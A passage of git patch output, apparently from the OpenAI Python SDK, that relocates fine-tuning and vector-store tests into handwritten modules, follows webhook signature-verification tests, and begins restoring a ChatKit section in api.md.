+ webhook_resource.verify_signature(PAYLOAD, signed_headers(), secret="whsec_a")
+
+
+def test_invalid_utf8_payload_keeps_decode_error(webhook_resource: Webhooks | AsyncWebhooks) -> None:
+ with pytest.raises(UnicodeDecodeError):
+ webhook_resource.verify_signature(b"\xff", signed_headers(), secret=RAW_SECRET)
+
+
+def test_non_ascii_signature_keeps_compare_error(webhook_resource: Webhooks | AsyncWebhooks) -> None:
+ headers = signed_headers()
+ headers["webhook-signature"] = "v1,é"
+ with pytest.raises(TypeError, match="non-ASCII"):
+ webhook_resource.verify_signature(PAYLOAD, headers, secret=RAW_SECRET)
+
+
+def test_constant_time_comparison_order(webhook_resource: Webhooks | AsyncWebhooks) -> None:
+ headers = signed_headers()
+ expected = headers["webhook-signature"][3:]
+ headers["webhook-signature"] = f"v1,invalid v1,{expected} v1,unused"
+ with mock.patch("openai.lib._webhooks.hmac.compare_digest", wraps=hmac.compare_digest) as compare:
+ webhook_resource.verify_signature(PAYLOAD, headers, secret=RAW_SECRET)
+ assert compare.call_args_list == [mock.call(expected, "invalid"), mock.call(expected, expected)]
+
+
+@pytest.mark.parametrize("signature", ["", "v1,invalid", "invalid v1,also-invalid"])
+def test_helper_returns_false_for_mismatch(signature: str) -> None:
+ headers = signed_headers()
+ headers["webhook-signature"] = signature
+ assert not webhook_signature_matches(PAYLOAD, headers, secret=RAW_SECRET, tolerance=300)
From eb909d30c6c4f6f4508a708bd8ca61c70a13cee7 Mon Sep 17 00:00:00 2001
From: Alex Chang
Date: Fri, 21 Aug 2026 03:54:21 +0000
Subject: [PATCH 061/341] test(api): move fine-tuning positional tests out of
generated code (#3706)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
- [x] I understand that this repository is auto-generated and my pull
request may not be merged
## Changes being requested
Keep the fine-tuning positional-argument regression coverage in
handwritten
tests, then restore the two generated test files to the recorded public
generated snapshot. The generated examples use `fine_tuning_job_id=` and
their
original fake `after` values; the original positional calls remain
tested.
Only three test files change. Runtime code, dependencies, the API
reference,
compiler inputs, and generation metadata are unchanged.
## Additional context & links
All 20 original methods and their client parameterizations are retained
verbatim in
[`tests/lib/test_fine_tuning_positional_arguments.py`](https://github.com/openai/openai-python/blob/4dd138db112ee8d02c6803e0f0b812c5c9be3dee/tests/lib/test_fine_tuning_positional_arguments.py):
-
[`TestCheckpoints`](https://github.com/openai/openai-python/blob/4dd138db112ee8d02c6803e0f0b812c5c9be3dee/tests/lib/test_fine_tuning_positional_arguments.py#L14)
and
[`TestAsyncCheckpoints`](https://github.com/openai/openai-python/blob/4dd138db112ee8d02c6803e0f0b812c5c9be3dee/tests/lib/test_fine_tuning_positional_arguments.py#L65)
preserve `test_method_list`, `test_method_list_with_all_params`,
`test_raw_response_list`, `test_streaming_response_list`, and
`test_path_params_list`.
-
[`TestJobs`](https://github.com/openai/openai-python/blob/4dd138db112ee8d02c6803e0f0b812c5c9be3dee/tests/lib/test_fine_tuning_positional_arguments.py#L118)
and
[`TestAsyncJobs`](https://github.com/openai/openai-python/blob/4dd138db112ee8d02c6803e0f0b812c5c9be3dee/tests/lib/test_fine_tuning_positional_arguments.py#L169)
preserve `test_method_list_events`,
`test_method_list_events_with_all_params`,
`test_raw_response_list_events`, `test_streaming_response_list_events`,
and
`test_path_params_list_events`.
These retain the basic/all-parameter calls, parsed response types,
raw/streaming
response headers and close behavior, and empty-ID errors. The original
loose,
strict, and async aiohttp modes remain: **50 positional-call cases**,
alongside
the restored generated keyword-call examples.
Validation:
- Exact-source/AST proof for every retained method and parameterization;
both
generated files match the public snapshot byte-for-byte.
- Pytest collection preserves all 50 original class/function/client-mode
IDs
after normalizing only the destination path, under both Pydantic
versions.
- `python -m pytest -n 0
tests/lib/test_fine_tuning_positional_arguments.py
tests/api_resources/fine_tuning/jobs/test_checkpoints.py
tests/api_resources/fine_tuning/test_jobs.py`: **220 passed under
Pydantic v2
and 220 under v1**, against the checked-in API mock.
- `./scripts/format` and `./scripts/lint` pass, including Ruff, Pyright,
mypy,
and import checks. Unrelated reporter-only formatting changes are
excluded.
- Verified public custom-code report: **40 → 38 mixed files**, exactly
these
two generated test customizations removed, and all other customizations
unchanged.
---
.../fine_tuning/jobs/test_checkpoints.py | 24 +-
tests/api_resources/fine_tuning/test_jobs.py | 28 +--
.../test_fine_tuning_positional_arguments.py | 219 ++++++++++++++++++
3 files changed, 245 insertions(+), 26 deletions(-)
create mode 100644 tests/lib/test_fine_tuning_positional_arguments.py
diff --git a/tests/api_resources/fine_tuning/jobs/test_checkpoints.py b/tests/api_resources/fine_tuning/jobs/test_checkpoints.py
index 64bfa9e731..da86179898 100644
--- a/tests/api_resources/fine_tuning/jobs/test_checkpoints.py
+++ b/tests/api_resources/fine_tuning/jobs/test_checkpoints.py
@@ -21,15 +21,15 @@ class TestCheckpoints:
@parametrize
def test_method_list(self, client: OpenAI) -> None:
checkpoint = client.fine_tuning.jobs.checkpoints.list(
- "ft-AF1WoRqd3aJAHsqc9NY7iL8F",
+ fine_tuning_job_id="ft-AF1WoRqd3aJAHsqc9NY7iL8F",
)
assert_matches_type(SyncCursorPage[FineTuningJobCheckpoint], checkpoint, path=["response"])
@parametrize
def test_method_list_with_all_params(self, client: OpenAI) -> None:
checkpoint = client.fine_tuning.jobs.checkpoints.list(
- "ft-AF1WoRqd3aJAHsqc9NY7iL8F",
- after="string",
+ fine_tuning_job_id="ft-AF1WoRqd3aJAHsqc9NY7iL8F",
+ after="after",
limit=0,
)
assert_matches_type(SyncCursorPage[FineTuningJobCheckpoint], checkpoint, path=["response"])
@@ -37,7 +37,7 @@ def test_method_list_with_all_params(self, client: OpenAI) -> None:
@parametrize
def test_raw_response_list(self, client: OpenAI) -> None:
response = client.fine_tuning.jobs.checkpoints.with_raw_response.list(
- "ft-AF1WoRqd3aJAHsqc9NY7iL8F",
+ fine_tuning_job_id="ft-AF1WoRqd3aJAHsqc9NY7iL8F",
)
assert response.is_closed is True
@@ -48,7 +48,7 @@ def test_raw_response_list(self, client: OpenAI) -> None:
@parametrize
def test_streaming_response_list(self, client: OpenAI) -> None:
with client.fine_tuning.jobs.checkpoints.with_streaming_response.list(
- "ft-AF1WoRqd3aJAHsqc9NY7iL8F",
+ fine_tuning_job_id="ft-AF1WoRqd3aJAHsqc9NY7iL8F",
) as response:
assert not response.is_closed
assert response.http_request.headers.get("X-Stainless-Lang") == "python"
@@ -62,7 +62,7 @@ def test_streaming_response_list(self, client: OpenAI) -> None:
def test_path_params_list(self, client: OpenAI) -> None:
with pytest.raises(ValueError, match=r"Expected a non-empty value for `fine_tuning_job_id` but received ''"):
client.fine_tuning.jobs.checkpoints.with_raw_response.list(
- "",
+ fine_tuning_job_id="",
)
@@ -74,15 +74,15 @@ class TestAsyncCheckpoints:
@parametrize
async def test_method_list(self, async_client: AsyncOpenAI) -> None:
checkpoint = await async_client.fine_tuning.jobs.checkpoints.list(
- "ft-AF1WoRqd3aJAHsqc9NY7iL8F",
+ fine_tuning_job_id="ft-AF1WoRqd3aJAHsqc9NY7iL8F",
)
assert_matches_type(AsyncCursorPage[FineTuningJobCheckpoint], checkpoint, path=["response"])
@parametrize
async def test_method_list_with_all_params(self, async_client: AsyncOpenAI) -> None:
checkpoint = await async_client.fine_tuning.jobs.checkpoints.list(
- "ft-AF1WoRqd3aJAHsqc9NY7iL8F",
- after="string",
+ fine_tuning_job_id="ft-AF1WoRqd3aJAHsqc9NY7iL8F",
+ after="after",
limit=0,
)
assert_matches_type(AsyncCursorPage[FineTuningJobCheckpoint], checkpoint, path=["response"])
@@ -90,7 +90,7 @@ async def test_method_list_with_all_params(self, async_client: AsyncOpenAI) -> N
@parametrize
async def test_raw_response_list(self, async_client: AsyncOpenAI) -> None:
response = await async_client.fine_tuning.jobs.checkpoints.with_raw_response.list(
- "ft-AF1WoRqd3aJAHsqc9NY7iL8F",
+ fine_tuning_job_id="ft-AF1WoRqd3aJAHsqc9NY7iL8F",
)
assert response.is_closed is True
@@ -101,7 +101,7 @@ async def test_raw_response_list(self, async_client: AsyncOpenAI) -> None:
@parametrize
async def test_streaming_response_list(self, async_client: AsyncOpenAI) -> None:
async with async_client.fine_tuning.jobs.checkpoints.with_streaming_response.list(
- "ft-AF1WoRqd3aJAHsqc9NY7iL8F",
+ fine_tuning_job_id="ft-AF1WoRqd3aJAHsqc9NY7iL8F",
) as response:
assert not response.is_closed
assert response.http_request.headers.get("X-Stainless-Lang") == "python"
@@ -115,5 +115,5 @@ async def test_streaming_response_list(self, async_client: AsyncOpenAI) -> None:
async def test_path_params_list(self, async_client: AsyncOpenAI) -> None:
with pytest.raises(ValueError, match=r"Expected a non-empty value for `fine_tuning_job_id` but received ''"):
await async_client.fine_tuning.jobs.checkpoints.with_raw_response.list(
- "",
+ fine_tuning_job_id="",
)
diff --git a/tests/api_resources/fine_tuning/test_jobs.py b/tests/api_resources/fine_tuning/test_jobs.py
index 2168e3dc94..f95845f2a7 100644
--- a/tests/api_resources/fine_tuning/test_jobs.py
+++ b/tests/api_resources/fine_tuning/test_jobs.py
@@ -165,7 +165,7 @@ def test_method_list(self, client: OpenAI) -> None:
@parametrize
def test_method_list_with_all_params(self, client: OpenAI) -> None:
job = client.fine_tuning.jobs.list(
- after="string",
+ after="after",
limit=0,
metadata={"foo": "string"},
)
@@ -232,15 +232,15 @@ def test_path_params_cancel(self, client: OpenAI) -> None:
@parametrize
def test_method_list_events(self, client: OpenAI) -> None:
job = client.fine_tuning.jobs.list_events(
- "ft-AF1WoRqd3aJAHsqc9NY7iL8F",
+ fine_tuning_job_id="ft-AF1WoRqd3aJAHsqc9NY7iL8F",
)
assert_matches_type(SyncCursorPage[FineTuningJobEvent], job, path=["response"])
@parametrize
def test_method_list_events_with_all_params(self, client: OpenAI) -> None:
job = client.fine_tuning.jobs.list_events(
- "ft-AF1WoRqd3aJAHsqc9NY7iL8F",
- after="string",
+ fine_tuning_job_id="ft-AF1WoRqd3aJAHsqc9NY7iL8F",
+ after="after",
limit=0,
)
assert_matches_type(SyncCursorPage[FineTuningJobEvent], job, path=["response"])
@@ -248,7 +248,7 @@ def test_method_list_events_with_all_params(self, client: OpenAI) -> None:
@parametrize
def test_raw_response_list_events(self, client: OpenAI) -> None:
response = client.fine_tuning.jobs.with_raw_response.list_events(
- "ft-AF1WoRqd3aJAHsqc9NY7iL8F",
+ fine_tuning_job_id="ft-AF1WoRqd3aJAHsqc9NY7iL8F",
)
assert response.is_closed is True
@@ -259,7 +259,7 @@ def test_raw_response_list_events(self, client: OpenAI) -> None:
@parametrize
def test_streaming_response_list_events(self, client: OpenAI) -> None:
with client.fine_tuning.jobs.with_streaming_response.list_events(
- "ft-AF1WoRqd3aJAHsqc9NY7iL8F",
+ fine_tuning_job_id="ft-AF1WoRqd3aJAHsqc9NY7iL8F",
) as response:
assert not response.is_closed
assert response.http_request.headers.get("X-Stainless-Lang") == "python"
@@ -273,7 +273,7 @@ def test_streaming_response_list_events(self, client: OpenAI) -> None:
def test_path_params_list_events(self, client: OpenAI) -> None:
with pytest.raises(ValueError, match=r"Expected a non-empty value for `fine_tuning_job_id` but received ''"):
client.fine_tuning.jobs.with_raw_response.list_events(
- "",
+ fine_tuning_job_id="",
)
@parametrize
@@ -502,7 +502,7 @@ async def test_method_list(self, async_client: AsyncOpenAI) -> None:
@parametrize
async def test_method_list_with_all_params(self, async_client: AsyncOpenAI) -> None:
job = await async_client.fine_tuning.jobs.list(
- after="string",
+ after="after",
limit=0,
metadata={"foo": "string"},
)
@@ -569,15 +569,15 @@ async def test_path_params_cancel(self, async_client: AsyncOpenAI) -> None:
@parametrize
async def test_method_list_events(self, async_client: AsyncOpenAI) -> None:
job = await async_client.fine_tuning.jobs.list_events(
- "ft-AF1WoRqd3aJAHsqc9NY7iL8F",
+ fine_tuning_job_id="ft-AF1WoRqd3aJAHsqc9NY7iL8F",
)
assert_matches_type(AsyncCursorPage[FineTuningJobEvent], job, path=["response"])
@parametrize
async def test_method_list_events_with_all_params(self, async_client: AsyncOpenAI) -> None:
job = await async_client.fine_tuning.jobs.list_events(
- "ft-AF1WoRqd3aJAHsqc9NY7iL8F",
- after="string",
+ fine_tuning_job_id="ft-AF1WoRqd3aJAHsqc9NY7iL8F",
+ after="after",
limit=0,
)
assert_matches_type(AsyncCursorPage[FineTuningJobEvent], job, path=["response"])
@@ -585,7 +585,7 @@ async def test_method_list_events_with_all_params(self, async_client: AsyncOpenA
@parametrize
async def test_raw_response_list_events(self, async_client: AsyncOpenAI) -> None:
response = await async_client.fine_tuning.jobs.with_raw_response.list_events(
- "ft-AF1WoRqd3aJAHsqc9NY7iL8F",
+ fine_tuning_job_id="ft-AF1WoRqd3aJAHsqc9NY7iL8F",
)
assert response.is_closed is True
@@ -596,7 +596,7 @@ async def test_raw_response_list_events(self, async_client: AsyncOpenAI) -> None
@parametrize
async def test_streaming_response_list_events(self, async_client: AsyncOpenAI) -> None:
async with async_client.fine_tuning.jobs.with_streaming_response.list_events(
- "ft-AF1WoRqd3aJAHsqc9NY7iL8F",
+ fine_tuning_job_id="ft-AF1WoRqd3aJAHsqc9NY7iL8F",
) as response:
assert not response.is_closed
assert response.http_request.headers.get("X-Stainless-Lang") == "python"
@@ -610,7 +610,7 @@ async def test_streaming_response_list_events(self, async_client: AsyncOpenAI) -
async def test_path_params_list_events(self, async_client: AsyncOpenAI) -> None:
with pytest.raises(ValueError, match=r"Expected a non-empty value for `fine_tuning_job_id` but received ''"):
await async_client.fine_tuning.jobs.with_raw_response.list_events(
- "",
+ fine_tuning_job_id="",
)
@parametrize
diff --git a/tests/lib/test_fine_tuning_positional_arguments.py b/tests/lib/test_fine_tuning_positional_arguments.py
new file mode 100644
index 0000000000..510ea2b674
--- /dev/null
+++ b/tests/lib/test_fine_tuning_positional_arguments.py
@@ -0,0 +1,219 @@
+from __future__ import annotations
+
+from typing import Any, cast
+
+import pytest
+
+from openai import OpenAI, AsyncOpenAI
+from tests.utils import assert_matches_type
+from openai.pagination import SyncCursorPage, AsyncCursorPage
+from openai.types.fine_tuning import FineTuningJobEvent
+from openai.types.fine_tuning.jobs import FineTuningJobCheckpoint
+
+
+class TestCheckpoints:
+ parametrize = pytest.mark.parametrize("client", [False, True], indirect=True, ids=["loose", "strict"])
+
+ @parametrize
+ def test_method_list(self, client: OpenAI) -> None:
+ checkpoint = client.fine_tuning.jobs.checkpoints.list(
+ "ft-AF1WoRqd3aJAHsqc9NY7iL8F",
+ )
+ assert_matches_type(SyncCursorPage[FineTuningJobCheckpoint], checkpoint, path=["response"])
+
+ @parametrize
+ def test_method_list_with_all_params(self, client: OpenAI) -> None:
+ checkpoint = client.fine_tuning.jobs.checkpoints.list(
+ "ft-AF1WoRqd3aJAHsqc9NY7iL8F",
+ after="string",
+ limit=0,
+ )
+ assert_matches_type(SyncCursorPage[FineTuningJobCheckpoint], checkpoint, path=["response"])
+
+ @parametrize
+ def test_raw_response_list(self, client: OpenAI) -> None:
+ response = client.fine_tuning.jobs.checkpoints.with_raw_response.list(
+ "ft-AF1WoRqd3aJAHsqc9NY7iL8F",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ checkpoint = response.parse()
+ assert_matches_type(SyncCursorPage[FineTuningJobCheckpoint], checkpoint, path=["response"])
+
+ @parametrize
+ def test_streaming_response_list(self, client: OpenAI) -> None:
+ with client.fine_tuning.jobs.checkpoints.with_streaming_response.list(
+ "ft-AF1WoRqd3aJAHsqc9NY7iL8F",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ checkpoint = response.parse()
+ assert_matches_type(SyncCursorPage[FineTuningJobCheckpoint], checkpoint, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ def test_path_params_list(self, client: OpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `fine_tuning_job_id` but received ''"):
+ client.fine_tuning.jobs.checkpoints.with_raw_response.list(
+ "",
+ )
+
+
+class TestAsyncCheckpoints:
+ parametrize = pytest.mark.parametrize(
+ "async_client", [False, True, {"http_client": "aiohttp"}], indirect=True, ids=["loose", "strict", "aiohttp"]
+ )
+
+ @parametrize
+ async def test_method_list(self, async_client: AsyncOpenAI) -> None:
+ checkpoint = await async_client.fine_tuning.jobs.checkpoints.list(
+ "ft-AF1WoRqd3aJAHsqc9NY7iL8F",
+ )
+ assert_matches_type(AsyncCursorPage[FineTuningJobCheckpoint], checkpoint, path=["response"])
+
+ @parametrize
+ async def test_method_list_with_all_params(self, async_client: AsyncOpenAI) -> None:
+ checkpoint = await async_client.fine_tuning.jobs.checkpoints.list(
+ "ft-AF1WoRqd3aJAHsqc9NY7iL8F",
+ after="string",
+ limit=0,
+ )
+ assert_matches_type(AsyncCursorPage[FineTuningJobCheckpoint], checkpoint, path=["response"])
+
+ @parametrize
+ async def test_raw_response_list(self, async_client: AsyncOpenAI) -> None:
+ response = await async_client.fine_tuning.jobs.checkpoints.with_raw_response.list(
+ "ft-AF1WoRqd3aJAHsqc9NY7iL8F",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ checkpoint = response.parse()
+ assert_matches_type(AsyncCursorPage[FineTuningJobCheckpoint], checkpoint, path=["response"])
+
+ @parametrize
+ async def test_streaming_response_list(self, async_client: AsyncOpenAI) -> None:
+ async with async_client.fine_tuning.jobs.checkpoints.with_streaming_response.list(
+ "ft-AF1WoRqd3aJAHsqc9NY7iL8F",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ checkpoint = await response.parse()
+ assert_matches_type(AsyncCursorPage[FineTuningJobCheckpoint], checkpoint, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ async def test_path_params_list(self, async_client: AsyncOpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `fine_tuning_job_id` but received ''"):
+ await async_client.fine_tuning.jobs.checkpoints.with_raw_response.list(
+ "",
+ )
+
+
+class TestJobs:
+ parametrize = pytest.mark.parametrize("client", [False, True], indirect=True, ids=["loose", "strict"])
+
+ @parametrize
+ def test_method_list_events(self, client: OpenAI) -> None:
+ job = client.fine_tuning.jobs.list_events(
+ "ft-AF1WoRqd3aJAHsqc9NY7iL8F",
+ )
+ assert_matches_type(SyncCursorPage[FineTuningJobEvent], job, path=["response"])
+
+ @parametrize
+ def test_method_list_events_with_all_params(self, client: OpenAI) -> None:
+ job = client.fine_tuning.jobs.list_events(
+ "ft-AF1WoRqd3aJAHsqc9NY7iL8F",
+ after="string",
+ limit=0,
+ )
+ assert_matches_type(SyncCursorPage[FineTuningJobEvent], job, path=["response"])
+
+ @parametrize
+ def test_raw_response_list_events(self, client: OpenAI) -> None:
+ response = client.fine_tuning.jobs.with_raw_response.list_events(
+ "ft-AF1WoRqd3aJAHsqc9NY7iL8F",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ job = response.parse()
+ assert_matches_type(SyncCursorPage[FineTuningJobEvent], job, path=["response"])
+
+ @parametrize
+ def test_streaming_response_list_events(self, client: OpenAI) -> None:
+ with client.fine_tuning.jobs.with_streaming_response.list_events(
+ "ft-AF1WoRqd3aJAHsqc9NY7iL8F",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ job = response.parse()
+ assert_matches_type(SyncCursorPage[FineTuningJobEvent], job, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ def test_path_params_list_events(self, client: OpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `fine_tuning_job_id` but received ''"):
+ client.fine_tuning.jobs.with_raw_response.list_events(
+ "",
+ )
+
+
+class TestAsyncJobs:
+ parametrize = pytest.mark.parametrize(
+ "async_client", [False, True, {"http_client": "aiohttp"}], indirect=True, ids=["loose", "strict", "aiohttp"]
+ )
+
+ @parametrize
+ async def test_method_list_events(self, async_client: AsyncOpenAI) -> None:
+ job = await async_client.fine_tuning.jobs.list_events(
+ "ft-AF1WoRqd3aJAHsqc9NY7iL8F",
+ )
+ assert_matches_type(AsyncCursorPage[FineTuningJobEvent], job, path=["response"])
+
+ @parametrize
+ async def test_method_list_events_with_all_params(self, async_client: AsyncOpenAI) -> None:
+ job = await async_client.fine_tuning.jobs.list_events(
+ "ft-AF1WoRqd3aJAHsqc9NY7iL8F",
+ after="string",
+ limit=0,
+ )
+ assert_matches_type(AsyncCursorPage[FineTuningJobEvent], job, path=["response"])
+
+ @parametrize
+ async def test_raw_response_list_events(self, async_client: AsyncOpenAI) -> None:
+ response = await async_client.fine_tuning.jobs.with_raw_response.list_events(
+ "ft-AF1WoRqd3aJAHsqc9NY7iL8F",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ job = response.parse()
+ assert_matches_type(AsyncCursorPage[FineTuningJobEvent], job, path=["response"])
+
+ @parametrize
+ async def test_streaming_response_list_events(self, async_client: AsyncOpenAI) -> None:
+ async with async_client.fine_tuning.jobs.with_streaming_response.list_events(
+ "ft-AF1WoRqd3aJAHsqc9NY7iL8F",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ job = await response.parse()
+ assert_matches_type(AsyncCursorPage[FineTuningJobEvent], job, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ async def test_path_params_list_events(self, async_client: AsyncOpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `fine_tuning_job_id` but received ''"):
+ await async_client.fine_tuning.jobs.with_raw_response.list_events(
+ "",
+ )
From 8f2a772198db5729d2acb315d166ec4d80a6b2f3 Mon Sep 17 00:00:00 2001
From: Alex Chang
Date: Fri, 21 Aug 2026 03:54:46 +0000
Subject: [PATCH 062/341] test(api): move vector-store signature tests out of
generated code (#3707)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
- [x] I understand that this repository is auto-generated and my pull
request may not be merged
## Changes being requested
Move the three handwritten vector-store helper-signature tests into
handwritten
test modules, then restore the two API-resource test files to the
recorded
public generated snapshot. Keep each original function, decorator,
comparison,
and excluded-parameter set unchanged.
Only four test files change. No polling, upload, runtime, dependency,
API
reference, compiler, or generation-metadata changes.
## Additional context & links
The exact retained coverage is:
-
[`tests/lib/test_vector_store_file_batches.py::test_create_and_poll_method_in_sync`](https://github.com/openai/openai-python/blob/8eaeaad036a156bbd4155c6a426acffa06d13cfd/tests/lib/test_vector_store_file_batches.py#L10)
keeps batch `create_and_poll` aligned with `create`.
-
[`tests/lib/test_vector_store_files.py::test_create_and_poll_method_in_sync`](https://github.com/openai/openai-python/blob/8eaeaad036a156bbd4155c6a426acffa06d13cfd/tests/lib/test_vector_store_files.py#L10)
keeps file `create_and_poll` aligned with `create`.
-
[`tests/lib/test_vector_store_files.py::test_upload_and_poll_method_in_sync`](https://github.com/openai/openai-python/blob/8eaeaad036a156bbd4155c6a426acffa06d13cfd/tests/lib/test_vector_store_files.py#L20)
keeps `upload_and_poll` aligned with `create`, retaining exactly the
existing
exclusions: `file_id`, `extra_headers`, `extra_query`, `extra_body`, and
`timeout`.
Each still runs for both sync and async clients: all **six original
cases** are
preserved. The generated API tests remain intact.
Validation:
- Exact-source/AST proof, including decorators and exclusions; both
generated
files match the public snapshot byte-for-byte.
- Both Pydantic collection checks preserve all six original test IDs
after
mapping only the file paths.
- The two handwritten modules plus both affected API-resource suites
pass
**226 tests under Pydantic v2 and 226 under v1**, against the checked-in
API
mock.
- `./scripts/format` and `./scripts/lint` pass, including Ruff, Pyright,
mypy,
and import checks. Unrelated reporter-only formatting changes are
excluded.
- Verified public custom-code report: **40 → 38 mixed files**, exactly
these
two customizations removed and every other customization unchanged.
---
.../vector_stores/test_file_batches.py | 12 ---------
.../api_resources/vector_stores/test_files.py | 22 ---------------
tests/lib/test_vector_store_file_batches.py | 17 ++++++++++++
tests/lib/test_vector_store_files.py | 27 +++++++++++++++++++
4 files changed, 44 insertions(+), 34 deletions(-)
create mode 100644 tests/lib/test_vector_store_file_batches.py
create mode 100644 tests/lib/test_vector_store_files.py
diff --git a/tests/api_resources/vector_stores/test_file_batches.py b/tests/api_resources/vector_stores/test_file_batches.py
index 08def373f3..c0e9bcf57b 100644
--- a/tests/api_resources/vector_stores/test_file_batches.py
+++ b/tests/api_resources/vector_stores/test_file_batches.py
@@ -9,7 +9,6 @@
from openai import OpenAI, AsyncOpenAI
from tests.utils import assert_matches_type
-from openai._utils import assert_signatures_in_sync
from openai.pagination import SyncCursorPage, AsyncCursorPage
from openai.types.vector_stores import (
VectorStoreFile,
@@ -451,14 +450,3 @@ async def test_path_params_list_files(self, async_client: AsyncOpenAI) -> None:
batch_id="",
vector_store_id="vector_store_id",
)
-
-
-@pytest.mark.parametrize("sync", [True, False], ids=["sync", "async"])
-def test_create_and_poll_method_in_sync(sync: bool, client: OpenAI, async_client: AsyncOpenAI) -> None:
- checking_client: OpenAI | AsyncOpenAI = client if sync else async_client
-
- # ensure helpers do not drift from generated spec
- assert_signatures_in_sync(
- checking_client.vector_stores.file_batches.create,
- checking_client.vector_stores.file_batches.create_and_poll,
- )
diff --git a/tests/api_resources/vector_stores/test_files.py b/tests/api_resources/vector_stores/test_files.py
index 94522ec5af..f6ea323bb1 100644
--- a/tests/api_resources/vector_stores/test_files.py
+++ b/tests/api_resources/vector_stores/test_files.py
@@ -9,7 +9,6 @@
from openai import OpenAI, AsyncOpenAI
from tests.utils import assert_matches_type
-from openai._utils import assert_signatures_in_sync
from openai.pagination import SyncPage, AsyncPage, SyncCursorPage, AsyncCursorPage
from openai.types.vector_stores import (
VectorStoreFile,
@@ -626,24 +625,3 @@ async def test_path_params_content(self, async_client: AsyncOpenAI) -> None:
file_id="",
vector_store_id="vs_abc123",
)
-
-
-@pytest.mark.parametrize("sync", [True, False], ids=["sync", "async"])
-def test_create_and_poll_method_in_sync(sync: bool, client: OpenAI, async_client: AsyncOpenAI) -> None:
- checking_client: OpenAI | AsyncOpenAI = client if sync else async_client
-
- assert_signatures_in_sync(
- checking_client.vector_stores.files.create,
- checking_client.vector_stores.files.create_and_poll,
- )
-
-
-@pytest.mark.parametrize("sync", [True, False], ids=["sync", "async"])
-def test_upload_and_poll_method_in_sync(sync: bool, client: OpenAI, async_client: AsyncOpenAI) -> None:
- checking_client: OpenAI | AsyncOpenAI = client if sync else async_client
-
- assert_signatures_in_sync(
- checking_client.vector_stores.files.create,
- checking_client.vector_stores.files.upload_and_poll,
- exclude_params={"file_id", "extra_headers", "extra_query", "extra_body", "timeout"},
- )
diff --git a/tests/lib/test_vector_store_file_batches.py b/tests/lib/test_vector_store_file_batches.py
new file mode 100644
index 0000000000..5165e077d2
--- /dev/null
+++ b/tests/lib/test_vector_store_file_batches.py
@@ -0,0 +1,17 @@
+from __future__ import annotations
+
+import pytest
+
+from openai import OpenAI, AsyncOpenAI
+from openai._utils import assert_signatures_in_sync
+
+
+@pytest.mark.parametrize("sync", [True, False], ids=["sync", "async"])
+def test_create_and_poll_method_in_sync(sync: bool, client: OpenAI, async_client: AsyncOpenAI) -> None:
+ checking_client: OpenAI | AsyncOpenAI = client if sync else async_client
+
+ # ensure helpers do not drift from generated spec
+ assert_signatures_in_sync(
+ checking_client.vector_stores.file_batches.create,
+ checking_client.vector_stores.file_batches.create_and_poll,
+ )
diff --git a/tests/lib/test_vector_store_files.py b/tests/lib/test_vector_store_files.py
new file mode 100644
index 0000000000..9c4d87973e
--- /dev/null
+++ b/tests/lib/test_vector_store_files.py
@@ -0,0 +1,27 @@
+from __future__ import annotations
+
+import pytest
+
+from openai import OpenAI, AsyncOpenAI
+from openai._utils import assert_signatures_in_sync
+
+
+@pytest.mark.parametrize("sync", [True, False], ids=["sync", "async"])
+def test_create_and_poll_method_in_sync(sync: bool, client: OpenAI, async_client: AsyncOpenAI) -> None:
+ checking_client: OpenAI | AsyncOpenAI = client if sync else async_client
+
+ assert_signatures_in_sync(
+ checking_client.vector_stores.files.create,
+ checking_client.vector_stores.files.create_and_poll,
+ )
+
+
+@pytest.mark.parametrize("sync", [True, False], ids=["sync", "async"])
+def test_upload_and_poll_method_in_sync(sync: bool, client: OpenAI, async_client: AsyncOpenAI) -> None:
+ checking_client: OpenAI | AsyncOpenAI = client if sync else async_client
+
+ assert_signatures_in_sync(
+ checking_client.vector_stores.files.create,
+ checking_client.vector_stores.files.upload_and_poll,
+ exclude_params={"file_id", "extra_headers", "extra_query", "extra_body", "timeout"},
+ )
From 45341061b382473ee8a8e8c796ef8819089abbb6 Mon Sep 17 00:00:00 2001
From: Alex Chang
Date: Fri, 21 Aug 2026 03:58:56 +0000
Subject: [PATCH 063/341] docs(api): restore generated ChatKit API index
(#3705)
- [x] I understand that this repository is auto-generated and my pull
request may not be merged
## Changes being requested
Restore the existing ChatKit section in `api.md` from the
[recorded public generated
snapshot](https://github.com/openai/openai-python/blob/0d3e70da47bb645fbfd0dd16fdd37ea10ee981f5/api.md#L633).
The handwritten legacy Realtime section had displaced it. This change
retains
that section and every other existing line, including documentation for
handwritten public helpers.
Only `api.md` changes: 50 lines are restored verbatim. All documented
ChatKit
types and methods already exist in the public SDK. No runtime code,
tests,
dependencies, API reference, compiler, or generation metadata changes.
## Additional context & links
Validation:
- Exact-byte comparison with the public generated ChatKit section.
- All eight restored source links and both import examples resolve to
existing
public files/exports; all six documented methods exist in both sync and
async
resources.
- The repository's `scripts/utils/ruffen-docs.py api.md` formatter and
